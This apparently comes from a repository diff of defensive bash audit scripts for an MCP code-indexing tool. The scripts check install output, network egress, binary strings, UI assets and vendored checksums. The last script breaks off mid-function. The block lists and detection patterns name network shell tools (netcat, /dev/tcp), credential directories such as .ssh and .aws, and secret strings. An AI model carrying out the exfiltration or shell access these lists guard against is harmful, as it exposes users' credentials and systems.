find "$HOME" -type f > "$TMPDIR/created_files.txt" 2>/dev/null || true
|
||||
|
||||
# Expected path patterns (relative to HOME):
|
||||
# .config/*/mcp.json (or .mcp.json variants)
|
||||
# .claude/skills/*
|
||||
# .claude/settings.json
|
||||
# .continue/config.yaml
|
||||
# .codeium/config.json
|
||||
# .local/bin/codebase-memory-mcp
|
||||
# Various agent config dirs
|
||||
|
||||
EXPECTED_PATTERNS=(
|
||||
".claude/"
|
||||
".cursor/"
|
||||
".config/"
|
||||
".continue/"
|
||||
".codeium/"
|
||||
".windsurf/"
|
||||
".trae/"
|
||||
".aider/"
|
||||
".local/bin/"
|
||||
"AGENTS.md"
|
||||
"CONVENTIONS.md"
|
||||
".mcp.json"
|
||||
"mcp.json"
|
||||
".zshrc"
|
||||
".bashrc"
|
||||
".profile"
|
||||
)
|
||||
|
||||
while IFS= read -r filepath; do
|
||||
relpath="${filepath#"$HOME/"}"
|
||||
|
||||
matched=false
|
||||
for pattern in "${EXPECTED_PATTERNS[@]}"; do
|
||||
if [[ "$relpath" == *"$pattern"* ]]; then
|
||||
matched=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if ! $matched; then
|
||||
echo "REVIEW: Unexpected file created: $relpath"
|
||||
fi
|
||||
done < "$TMPDIR/created_files.txt"
|
||||
|
||||
# ── 3. Check for writes to sensitive paths ───────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Checking for sensitive path writes ---"
|
||||
|
||||
SENSITIVE_DIRS=(".ssh" ".gnupg" ".aws" ".kube" ".config/gcloud")
|
||||
|
||||
for dir in "${SENSITIVE_DIRS[@]}"; do
|
||||
if [[ -d "$HOME/$dir" ]]; then
|
||||
echo "BLOCKED: Install created sensitive directory: ~/$dir"
|
||||
FAIL=1
|
||||
fi
|
||||
done
|
||||
|
||||
# Also check install output for any references to sensitive paths
|
||||
for dir in "${SENSITIVE_DIRS[@]}"; do
|
||||
if grep -q "$dir" "$TMPDIR/install_output.txt" 2>/dev/null; then
|
||||
echo "BLOCKED: Install output references sensitive path: $dir"
|
||||
FAIL=1
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ $FAIL -eq 0 ]]; then
|
||||
echo "OK: No sensitive path writes detected."
|
||||
fi
|
||||
|
||||
# ── 4. Audit skill file content ──────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Auditing skill file content ---"
|
||||
|
||||
SKILLS_DIR="${CLAUDE_CONFIG_DIR:-$HOME/.claude}/skills"
|
||||
if [[ -d "$SKILLS_DIR" ]]; then
|
||||
SKILL_ISSUES=0
|
||||
|
||||
while IFS= read -r skill_file; do
|
||||
basename=$(basename "$skill_file")
|
||||
|
||||
# Check for dangerous patterns in skill content
|
||||
for pattern in 'system(' 'eval(' 'exec(' '__import__(' 'subprocess' 'os.popen'; do
|
||||
if grep -q "$pattern" "$skill_file" 2>/dev/null; then
|
||||
echo "BLOCKED: Skill '$basename' contains dangerous pattern: $pattern"
|
||||
SKILL_ISSUES=1
|
||||
FAIL=1
|
||||
fi
|
||||
done
|
||||
|
||||
# Check for unexpected URLs
|
||||
if grep -oE 'https?://[^\s"'"'"']+' "$skill_file" 2>/dev/null | grep -v 'github.com/DeusData' | grep -v 'localhost' | grep -v '127.0.0.1' > /tmp/sec_skill_urls 2>/dev/null; then
|
||||
while IFS= read -r url; do
|
||||
echo "REVIEW: Skill '$basename' contains URL: $url"
|
||||
done < /tmp/sec_skill_urls
|
||||
rm -f /tmp/sec_skill_urls
|
||||
fi
|
||||
|
||||
# Check for encoded strings (base64-like blocks > 50 chars)
|
||||
if grep -E '[A-Za-z0-9+/]{50,}={0,2}' "$skill_file" > /dev/null 2>&1; then
|
||||
echo "REVIEW: Skill '$basename' contains potential encoded content"
|
||||
fi
|
||||
done < <(find "$SKILLS_DIR" -type f -name '*.md')
|
||||
|
||||
if [[ $SKILL_ISSUES -eq 0 ]]; then
|
||||
echo "OK: Skill files contain no dangerous patterns."
|
||||
fi
|
||||
else
|
||||
echo "SKIP: No skills directory created."
|
||||
fi
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
if [[ $FAIL -ne 0 ]]; then
|
||||
echo "=== INSTALL OUTPUT AUDIT FAILED ==="
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Install output audit passed ==="
|
||||
@@ -0,0 +1,107 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 3: Network egress test — monitors outbound connections during MCP session.
|
||||
#
|
||||
# Runs a full MCP session (initialize → index → search → EOF) under strace
|
||||
# and verifies only expected connections are made.
|
||||
#
|
||||
# Linux only (strace required). macOS/Windows: skip with success.
|
||||
#
|
||||
# Usage: scripts/security-network.sh <binary-path>
|
||||
|
||||
BINARY="${1:?usage: security-network.sh <binary-path>}"
|
||||
|
||||
if [[ ! -f "$BINARY" ]]; then
|
||||
echo "FAIL: binary not found: $BINARY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Layer 3: Network Egress Test ==="
|
||||
|
||||
# Skip on non-Linux (no strace)
|
||||
if [[ "$(uname)" != "Linux" ]]; then
|
||||
echo "SKIP: strace not available on $(uname) — covered by binary string audit"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if ! command -v strace &>/dev/null; then
|
||||
echo "SKIP: strace not installed"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
TMPDIR=$(mktemp -d)
|
||||
trap 'rm -rf "$TMPDIR"' EXIT
|
||||
|
||||
# Create a minimal test project
|
||||
mkdir -p "$TMPDIR/project/src"
|
||||
cat > "$TMPDIR/project/src/main.py" << 'EOF'
|
||||
def main():
|
||||
print("hello")
|
||||
EOF
|
||||
|
||||
# MCP session input (jsonrpc over stdio)
|
||||
cat > "$TMPDIR/input.jsonl" << JSONL
|
||||
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"1.0"}}}
|
||||
{"jsonrpc":"2.0","method":"notifications/initialized"}
|
||||
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"$TMPDIR/project"}}}
|
||||
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"main"}}}
|
||||
JSONL
|
||||
|
||||
STRACE_LOG="$TMPDIR/strace.log"
|
||||
|
||||
echo "Running MCP session under strace..."
|
||||
|
||||
# Run binary with strace monitoring connect() syscalls
|
||||
# -f: follow forks, -e trace=connect: only log connect() calls
|
||||
timeout 30 strace -f -e trace=connect \
|
||||
"$BINARY" < "$TMPDIR/input.jsonl" \
|
||||
> "$TMPDIR/output.jsonl" 2> "$STRACE_LOG" || true
|
||||
|
||||
echo ""
|
||||
echo "--- Connection log ---"
|
||||
|
||||
FAIL=0
|
||||
|
||||
# Parse strace output for connect() calls with AF_INET (IPv4 network)
|
||||
# Format: connect(fd, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("x.x.x.x")}, ...)
|
||||
if grep 'sa_family=AF_INET' "$STRACE_LOG" > "$TMPDIR/connections.log" 2>/dev/null; then
|
||||
while IFS= read -r conn; do
|
||||
# Extract destination IP and port
|
||||
ip=$(echo "$conn" | grep -oP 'inet_addr\("\K[^"]+' || echo "unknown")
|
||||
port=$(echo "$conn" | grep -oP 'htons\(\K[0-9]+' || echo "0")
|
||||
|
||||
# Allowed connections:
|
||||
# - 127.0.0.1 (localhost, any port)
|
||||
# - DNS (port 53, any IP)
|
||||
# - api.github.com (140.82.x.x range, port 443) — update check
|
||||
case "$ip" in
|
||||
127.0.0.1|0.0.0.0)
|
||||
echo " OK: localhost:$port"
|
||||
;;
|
||||
*)
|
||||
if [[ "$port" == "53" ]]; then
|
||||
echo " OK: DNS lookup to $ip"
|
||||
elif [[ "$port" == "443" ]]; then
|
||||
echo " REVIEW: HTTPS to $ip:$port (expected: api.github.com for update check)"
|
||||
# This is expected — the binary checks for updates on startup
|
||||
else
|
||||
echo " BLOCKED: Unexpected connection to $ip:$port"
|
||||
FAIL=1
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
done < "$TMPDIR/connections.log"
|
||||
else
|
||||
echo " No outbound connections detected."
|
||||
fi
|
||||
|
||||
echo ""
|
||||
if [[ $FAIL -ne 0 ]]; then
|
||||
echo "=== NETWORK EGRESS TEST FAILED ==="
|
||||
echo "Unexpected outbound connections detected. Full strace log:"
|
||||
grep 'connect(' "$STRACE_LOG" || true
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Network egress test passed ==="
|
||||
@@ -0,0 +1,198 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 2: Binary string audit — post-build check on the production binary.
|
||||
#
|
||||
# Scans extracted strings for:
|
||||
# 1. Unauthorized URLs (only github.com + localhost allowed)
|
||||
# 2. Suspiciously long base64-encoded payloads
|
||||
# 3. Dangerous command names (wget, nc, netcat, telnet, ssh, /dev/tcp)
|
||||
# 4. Credential patterns (password=, secret=, api_key=)
|
||||
#
|
||||
# Usage: scripts/security-strings.sh <binary-path>
|
||||
|
||||
BINARY="${1:?usage: security-strings.sh <binary-path>}"
|
||||
|
||||
if [[ ! -f "$BINARY" ]]; then
|
||||
echo "FAIL: binary not found: $BINARY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
FAIL=0
|
||||
|
||||
# Detect file type. Shell scripts and other text files extract poorly via
|
||||
# `strings` (the entire content becomes the "strings"), and rules tuned for
|
||||
# compiled binaries (URL allowlist, wget/telnet detection) produce false
|
||||
# positives — install.sh legitimately uses `wget` as a curl fallback, and
|
||||
# `case` glob patterns like `https://*` look like unauthorized URLs.
|
||||
#
|
||||
# Strategy: for non-binary files we still run credential and base64 audits
|
||||
# (those are universally meaningful), but skip the URL and dangerous-command
|
||||
# audits which are designed for compiled artifacts. Script content is
|
||||
# reviewed in PRs and scanned end-to-end by VirusTotal in the same pipeline.
|
||||
IS_SCRIPT=false
|
||||
if command -v file &>/dev/null; then
|
||||
FILE_TYPE=$(file -b "$BINARY" 2>/dev/null || echo "")
|
||||
case "$FILE_TYPE" in
|
||||
*"shell script"*|*"ASCII text"*|*"UTF-8 Unicode text"*|*"Unicode text"*|*"a /usr/bin/env"*)
|
||||
IS_SCRIPT=true
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
|
||||
if $IS_SCRIPT; then
|
||||
echo "=== Layer 2: Script Content Audit ==="
|
||||
else
|
||||
echo "=== Layer 2: Binary String Audit ==="
|
||||
fi
|
||||
echo "File: $BINARY"
|
||||
echo ""
|
||||
|
||||
# Check for strings command (needs binutils on some MSYS2 setups)
|
||||
if ! command -v strings &>/dev/null; then
|
||||
echo "SKIP: 'strings' command not available"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Extract all printable strings (min length 4)
|
||||
STRINGS_FILE=$(mktemp)
|
||||
SEC_CMDS=$(mktemp)
|
||||
SEC_CREDS=$(mktemp)
|
||||
trap 'rm -f "$STRINGS_FILE" "$SEC_CMDS" "$SEC_CREDS"' EXIT
|
||||
strings -n 4 "$BINARY" | sort -u > "$STRINGS_FILE"
|
||||
|
||||
# ── 1. URL audit (binary only — scripts handled via VT + PR review) ────
|
||||
|
||||
if $IS_SCRIPT; then
|
||||
echo "--- URL audit (skipped — script file) ---"
|
||||
else
|
||||
echo "--- URL audit ---"
|
||||
|
||||
# Allowed URL prefixes
|
||||
ALLOWED_URLS=(
|
||||
"https://api.github.com/repos/DeusData/codebase-memory-mcp"
|
||||
"https://github.com/DeusData/codebase-memory-mcp"
|
||||
"http://127.0.0.1"
|
||||
"http://localhost"
|
||||
# SQLite internal URLs (part of vendored sqlite3 strings)
|
||||
"https://sqlite.org"
|
||||
"https://www.sqlite.org"
|
||||
# Toolchain URLs embedded by compiler/linker in static builds
|
||||
"https://bugs.launchpad.net"
|
||||
"https://gcc.gnu.org"
|
||||
"https://sourceware.org"
|
||||
# MSYS2 CLANG64 toolchain (libc++/compiler-rt) package-tracker URL, baked
|
||||
# into the static Windows .exe — Windows-only, hence Linux smoke stays clean.
|
||||
"https://github.com/msys2/MINGW-packages"
|
||||
# W3C XML namespace URIs (SVG, MathML, XLink — used in UI bundle)
|
||||
"http://www.w3.org/"
|
||||
# UI bundle: React, Three.js, Tailwind, Google Fonts, bundled libraries
|
||||
"https://react.dev"
|
||||
"https://fonts.googleapis.com"
|
||||
"https://fonts.gstatic.com"
|
||||
"https://tailwindcss.com"
|
||||
"https://cdn.jsdelivr.net"
|
||||
"https://docs.pmnd.rs"
|
||||
"https://jcgt.org"
|
||||
"https://github.com/pmndrs"
|
||||
"https://github.com/react-spring"
|
||||
"https://github.com/101arrowz"
|
||||
"https://github.com/arty-name"
|
||||
"https://github.com/fredli74"
|
||||
"https://github.com/lojjic"
|
||||
)
|
||||
|
||||
while IFS= read -r url; do
|
||||
# Skip short false positives from binary data (e.g. "https://H9")
|
||||
if [[ ${#url} -lt 15 ]]; then
|
||||
continue
|
||||
fi
|
||||
allowed=false
|
||||
for prefix in "${ALLOWED_URLS[@]}"; do
|
||||
if [[ "$url" == "$prefix"* ]]; then
|
||||
allowed=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
if ! $allowed; then
|
||||
echo "BLOCKED: Unauthorized URL in binary: $url"
|
||||
FAIL=1
|
||||
fi
|
||||
done < <(grep -oE 'https?://[a-zA-Z0-9._/~:@!$&()*+,;=?#%[-]+' "$STRINGS_FILE" || true)
|
||||
|
||||
if [[ $FAIL -eq 0 ]]; then
|
||||
echo "OK: All URLs are authorized."
|
||||
fi
|
||||
fi # end !IS_SCRIPT URL audit
|
||||
|
||||
# ── 2. Base64 payload detection ──────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Base64 payload detection ---"
|
||||
|
||||
# Look for base64-like strings longer than 100 chars (potential encoded payloads)
|
||||
B64_COUNT=$(grep -cE '^[A-Za-z0-9+/]{100,}={0,2}$' "$STRINGS_FILE" || true)
|
||||
if [[ "$B64_COUNT" -gt 0 ]]; then
|
||||
echo "WARNING: Found $B64_COUNT potential base64-encoded strings > 100 chars"
|
||||
grep -E '^[A-Za-z0-9+/]{100,}={0,2}$' "$STRINGS_FILE" | head -5 | while IFS= read -r s; do
|
||||
echo " ${s:0:80}..."
|
||||
done
|
||||
# Warning only — tree-sitter grammar data can look like base64
|
||||
else
|
||||
echo "OK: No suspicious base64 payloads found."
|
||||
fi
|
||||
|
||||
# ── 3. Dangerous command detection (binary only) ─────────────────
|
||||
|
||||
echo ""
|
||||
if $IS_SCRIPT; then
|
||||
echo "--- Dangerous command detection (skipped — script file) ---"
|
||||
DANGEROUS_CMDS=''
|
||||
else
|
||||
echo "--- Dangerous command detection ---"
|
||||
|
||||
DANGEROUS_CMDS='wget|netcat|ncat|/dev/tcp|telnet'
|
||||
# Known-benign matches (vendored grammar URI scheme tables, etc.). Each entry
|
||||
# is a regex matched against the full line; matches are stripped before
|
||||
# evaluation. Document the source so reviewers can verify the false positive.
|
||||
ALLOWED_DANGEROUS=(
|
||||
'^telnet$' # rst tree-sitter grammar: valid_schemas[] in vendored/grammars/rst/tree_sitter_rst/chars.c
|
||||
)
|
||||
if grep -wE "$DANGEROUS_CMDS" "$STRINGS_FILE" > "$SEC_CMDS" 2>/dev/null && [ -s "$SEC_CMDS" ]; then
|
||||
for allow in "${ALLOWED_DANGEROUS[@]}"; do
|
||||
grep -vE "$allow" "$SEC_CMDS" > "${SEC_CMDS}.tmp" || true
|
||||
mv "${SEC_CMDS}.tmp" "$SEC_CMDS"
|
||||
done
|
||||
fi
|
||||
if [ -s "$SEC_CMDS" ]; then
|
||||
echo "BLOCKED: Dangerous commands found in binary:"
|
||||
cat "$SEC_CMDS"
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No dangerous commands found."
|
||||
fi
|
||||
fi # end !IS_SCRIPT dangerous-cmd audit
|
||||
|
||||
# ── 4. Credential pattern detection ──────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Credential pattern detection ---"
|
||||
|
||||
CRED_PATTERNS='password=|secret=|api_key=|apikey=|auth_token=|private_key='
|
||||
if grep -iE "$CRED_PATTERNS" "$STRINGS_FILE" > "$SEC_CREDS" 2>/dev/null; then
|
||||
echo "BLOCKED: Credential patterns found in binary:"
|
||||
cat "$SEC_CREDS"
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No credential patterns found."
|
||||
fi
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
if [[ $FAIL -ne 0 ]]; then
|
||||
echo "=== BINARY STRING AUDIT FAILED ==="
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Binary string audit passed ==="
|
||||
@@ -0,0 +1,211 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 6: Graph UI security audit.
|
||||
#
|
||||
# Audits:
|
||||
# A. Frontend asset scan (embedded JS/CSS/HTML or graph-ui/dist/)
|
||||
# B. HTTP server binding (must be 127.0.0.1 only)
|
||||
# C. RPC proxy scope (no system()/popen() in HTTP handler path)
|
||||
# D. CORS check (no wildcard Access-Control-Allow-Origin)
|
||||
#
|
||||
# Usage: scripts/security-ui.sh
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
FAIL=0
|
||||
|
||||
# Use mktemp for all temp files (cross-platform safe)
|
||||
SEC_TMPDIR=$(mktemp -d)
|
||||
trap 'rm -rf "$SEC_TMPDIR"' EXIT
|
||||
|
||||
echo "=== Layer 6: Graph UI Security Audit ==="
|
||||
|
||||
# ── A. Frontend asset scan ───────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- A. Frontend asset scan ---"
|
||||
|
||||
# Check both built dist and embedded asset source
|
||||
UI_DIRS=()
|
||||
[[ -d "$ROOT/graph-ui/dist" ]] && UI_DIRS+=("$ROOT/graph-ui/dist")
|
||||
[[ -d "$ROOT/graph-ui/src" ]] && UI_DIRS+=("$ROOT/graph-ui/src")
|
||||
|
||||
if [[ ${#UI_DIRS[@]} -eq 0 ]]; then
|
||||
echo "SKIP: No graph-ui directory found."
|
||||
else
|
||||
for UI_DIR in "${UI_DIRS[@]}"; do
|
||||
echo "Scanning: $UI_DIR"
|
||||
|
||||
# A1: No external domains in JS/CSS/TS source code.
|
||||
# For src/ (our code): strict — any external URL is blocked.
|
||||
# For dist/ (bundled npm output): skip inline URL scan — minified JS
|
||||
# contains hundreds of string-constant URLs from libraries (React error
|
||||
# pages, W3C namespace URIs, CDN references, OSS credits) that are never
|
||||
# fetched at runtime. Scanning them is noise. Structural checks (A2-A6)
|
||||
# still apply to dist/.
|
||||
is_dist=false
|
||||
[[ "$UI_DIR" == *"/dist" || "$UI_DIR" == *"/dist/" ]] && is_dist=true
|
||||
|
||||
if ! $is_dist; then
|
||||
echo " Checking for external domains (source)..."
|
||||
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.css' \) -exec grep -lE 'https?://' {} \; 2>/dev/null | head -20 > "$SEC_TMPDIR/urls"; then
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
grep -onE 'https?://[^\s"'"'"')]+' "$file" 2>/dev/null | while IFS=: read -r lineno url; do
|
||||
case "$url" in
|
||||
http://localhost*|http://127.0.0.1*|https://localhost*|https://127.0.0.1*)
|
||||
;; # OK — local dev/runtime
|
||||
*)
|
||||
echo " BLOCKED: ${relfile}:${lineno}: External URL: $url"
|
||||
touch "$SEC_TMPDIR/fail_flag"
|
||||
;;
|
||||
esac
|
||||
done
|
||||
done < "$SEC_TMPDIR/urls"
|
||||
fi
|
||||
[[ -f "$SEC_TMPDIR/fail_flag" ]] && FAIL=1 && rm -f "$SEC_TMPDIR/fail_flag"
|
||||
else
|
||||
echo " Skipping inline URL scan for dist/ (bundled library strings)."
|
||||
echo " Structural checks (script loads, tracking, eval, iframes) still apply."
|
||||
fi
|
||||
|
||||
# A2: No external script/link loads in HTML
|
||||
echo " Checking for external script/link loads..."
|
||||
if find "$UI_DIR" -type f -name '*.html' -exec grep -lE '<script\s+src=|<link\s+href=' {} \; 2>/dev/null > "$SEC_TMPDIR/scripts"; then
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
if grep -nE '<script\s+src="https?://|<link\s+href="https?://' "$file" 2>/dev/null \
|
||||
| grep -v 'localhost' | grep -v '127.0.0.1' \
|
||||
| grep -v 'fonts.googleapis.com' | grep -v 'fonts.gstatic.com'; then
|
||||
echo " BLOCKED: ${relfile}: External script/link load detected"
|
||||
FAIL=1
|
||||
fi
|
||||
done < "$SEC_TMPDIR/scripts"
|
||||
fi
|
||||
|
||||
# A3: No tracking/analytics
|
||||
echo " Checking for tracking/analytics..."
|
||||
TRACKING='google-analytics|gtag|mixpanel|segment\.com|hotjar|sentry\.io|plausible|posthog'
|
||||
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.html' \) \
|
||||
-exec grep -lE "$TRACKING" {} \; 2>/dev/null > "$SEC_TMPDIR/track"; then
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
echo " BLOCKED: ${relfile}: Tracking/analytics reference found"
|
||||
grep -nE "$TRACKING" "$file" | head -3
|
||||
FAIL=1
|
||||
done < "$SEC_TMPDIR/track"
|
||||
fi
|
||||
|
||||
# A4: No hidden iframes
|
||||
echo " Checking for iframes..."
|
||||
if find "$UI_DIR" -type f -name '*.html' -exec grep -li '<iframe' {} \; 2>/dev/null > "$SEC_TMPDIR/iframe"; then
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
echo " BLOCKED: ${relfile}: iframe detected"
|
||||
FAIL=1
|
||||
done < "$SEC_TMPDIR/iframe"
|
||||
fi
|
||||
|
||||
# A5: No eval/Function constructor in JS
|
||||
echo " Checking for eval/Function constructor..."
|
||||
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' \) \
|
||||
-exec grep -nE '\beval\s*\(|new\s+Function\s*\(' {} \; 2>/dev/null | grep -v node_modules | grep -v '\.test\.' > "$SEC_TMPDIR/eval"; then
|
||||
while IFS= read -r match; do
|
||||
echo " REVIEW: eval/Function found: $match"
|
||||
done < "$SEC_TMPDIR/eval"
|
||||
fi
|
||||
|
||||
# A6: No WebSocket to external
|
||||
echo " Checking for external WebSocket connections..."
|
||||
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' \) \
|
||||
-exec grep -nE 'wss?://' {} \; 2>/dev/null | grep -v 'localhost' | grep -v '127.0.0.1' > "$SEC_TMPDIR/ws"; then
|
||||
while IFS= read -r match; do
|
||||
echo " BLOCKED: External WebSocket: $match"
|
||||
FAIL=1
|
||||
done < "$SEC_TMPDIR/ws"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
# ── B. HTTP server binding check ─────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- B. HTTP server binding check ---"
|
||||
|
||||
# The UI server is split across two first-party files:
|
||||
# httpd.c — socket transport (binding, parsing)
|
||||
# http_server.c — routing + endpoint handlers (CORS policy)
|
||||
# Both MUST exist — a missing file means the audit target moved and the
|
||||
# audit would go blind, so that is a hard failure, not a skip.
|
||||
HTTPD="$ROOT/src/ui/httpd.c"
|
||||
HTTP_SERVER="$ROOT/src/ui/http_server.c"
|
||||
for f in "$HTTPD" "$HTTP_SERVER"; do
|
||||
if [[ ! -f "$f" ]]; then
|
||||
echo "BLOCKED: expected UI server source missing: $f"
|
||||
FAIL=1
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ -f "$HTTPD" ]]; then
|
||||
# Must bind to 127.0.0.1 only
|
||||
if grep -q '127\.0\.0\.1' "$HTTPD"; then
|
||||
echo "OK: Server binds to 127.0.0.1"
|
||||
else
|
||||
echo "BLOCKED: No 127.0.0.1 binding found in httpd.c"
|
||||
FAIL=1
|
||||
fi
|
||||
|
||||
# Must NOT bind to 0.0.0.0 or INADDR_ANY
|
||||
if cat "$HTTPD" "$HTTP_SERVER" 2>/dev/null | grep -E '0\.0\.0\.0|INADDR_ANY|in6addr_any' | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
|
||||
echo "BLOCKED: Server may bind to all interfaces (0.0.0.0/INADDR_ANY found)"
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No 0.0.0.0/INADDR_ANY binding"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ── C. RPC proxy scope check ─────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- C. RPC proxy scope check ---"
|
||||
|
||||
if [[ -f "$HTTP_SERVER" ]]; then
|
||||
# The HTTP handler should not directly call system()/popen()
|
||||
# (fork/execl for indexing is allowed as it's tracked)
|
||||
if cat "$HTTPD" "$HTTP_SERVER" 2>/dev/null | grep -n 'system(' | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
|
||||
echo "BLOCKED: system() call found in HTTP server (use subprocess instead)"
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No system() calls in HTTP handler"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ── D. CORS check ────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- D. CORS check ---"
|
||||
|
||||
if [[ -f "$HTTP_SERVER" ]]; then
|
||||
if cat "$HTTPD" "$HTTP_SERVER" 2>/dev/null | grep -E 'Allow-Origin:\s*\*' | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
|
||||
echo "BLOCKED: CORS wildcard (Access-Control-Allow-Origin: *) found"
|
||||
echo " This allows any website to access the local server."
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No CORS wildcard found"
|
||||
fi
|
||||
|
||||
# Check that CORS reflects localhost origins
|
||||
if grep -q 'localhost' "$HTTP_SERVER" && grep -q 'update_cors\|Access-Control-Allow-Origin' "$HTTP_SERVER"; then
|
||||
echo "OK: CORS appears to validate localhost origins"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
if [[ $FAIL -ne 0 ]]; then
|
||||
echo "=== UI SECURITY AUDIT FAILED ==="
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== UI security audit passed ==="
|
||||
@@ -0,0 +1,349 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 8: Vendored dependency integrity — verifies vendored C sources match
|
||||
# checked-in checksums. Detects supply chain tampering of vendored libraries.
|
||||
#
|
||||
# Libraries covered: mimalloc, nomic, sqlite3, tre, xxhash, yyjson
|
||||
#
|
||||
# Usage: scripts/security-vendored.sh [--update]
|
||||
|
||||
MODE="${1:-}"
|
||||
if [[ -n "$MODE" && "$MODE" != "--update" ]]; then
|
||||
echo "Usage: scripts/security-vendored.sh [--update]"
|
||||
exit 2
|
||||
fi
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
CHECKSUMS="$ROOT/scripts/vendored-checksums.txt"
|
||||
VENDORED_ROOT="$ROOT/vendored"
|
||||
|
||||
if [[ ! -f "$CHECKSUMS" || -L "$CHECKSUMS" ]]; then
|
||||
echo "FAIL: checksum manifest must be a regular, non-symlink file: $CHECKSUMS"
|
||||
exit 1
|
||||
fi
|
||||
if [[ ! -d "$VENDORED_ROOT" || -L "$VENDORED_ROOT" ]]; then
|
||||
echo "FAIL: vendored root must be a regular, non-symlink directory: $VENDORED_ROOT"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Layer 8: Vendored Dependency Integrity ==="
|
||||
|
||||
# Detect shasum command (shasum on macOS, sha256sum on Linux). Missing hashing
|
||||
# is a hard failure: an integrity check that verified nothing must never pass or
|
||||
# authorize a manifest update.
|
||||
if command -v sha256sum &>/dev/null; then
|
||||
SHA_CMD=(sha256sum)
|
||||
elif command -v shasum &>/dev/null; then
|
||||
SHA_CMD=(shasum -a 256)
|
||||
else
|
||||
echo "BLOCKED: no sha256sum or shasum available"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
MANIFEST_PATHS="$(mktemp "${TMPDIR:-/tmp}/cbm-vendored-paths.XXXXXX")" || {
|
||||
echo "BLOCKED: cannot create checksum verification workspace"
|
||||
exit 1
|
||||
}
|
||||
VENDORED_FILES="$(mktemp "${TMPDIR:-/tmp}/cbm-vendored-files.XXXXXX")" || {
|
||||
rm -f "$MANIFEST_PATHS"
|
||||
echo "BLOCKED: cannot create vendored inventory workspace"
|
||||
exit 1
|
||||
}
|
||||
VENDORED_SYMLINKS="$(mktemp "${TMPDIR:-/tmp}/cbm-vendored-links.XXXXXX")" || {
|
||||
rm -f "$MANIFEST_PATHS" "$VENDORED_FILES"
|
||||
echo "BLOCKED: cannot create vendored link workspace"
|
||||
exit 1
|
||||
}
|
||||
UPDATE_TMP=""
|
||||
cleanup() {
|
||||
rm -f "$MANIFEST_PATHS" "$VENDORED_FILES" "$VENDORED_SYMLINKS"
|
||||
if [[ -n "$UPDATE_TMP" ]]; then
|
||||
rm -f "$UPDATE_TMP"
|
||||
fi
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
STRUCTURAL_FAIL=0
|
||||
CONTENT_DRIFT=0
|
||||
CHECKED=0
|
||||
MISSING=0
|
||||
UNEXPECTED=0
|
||||
DISCOVERED=0
|
||||
|
||||
valid_vendored_path() {
|
||||
local path="$1"
|
||||
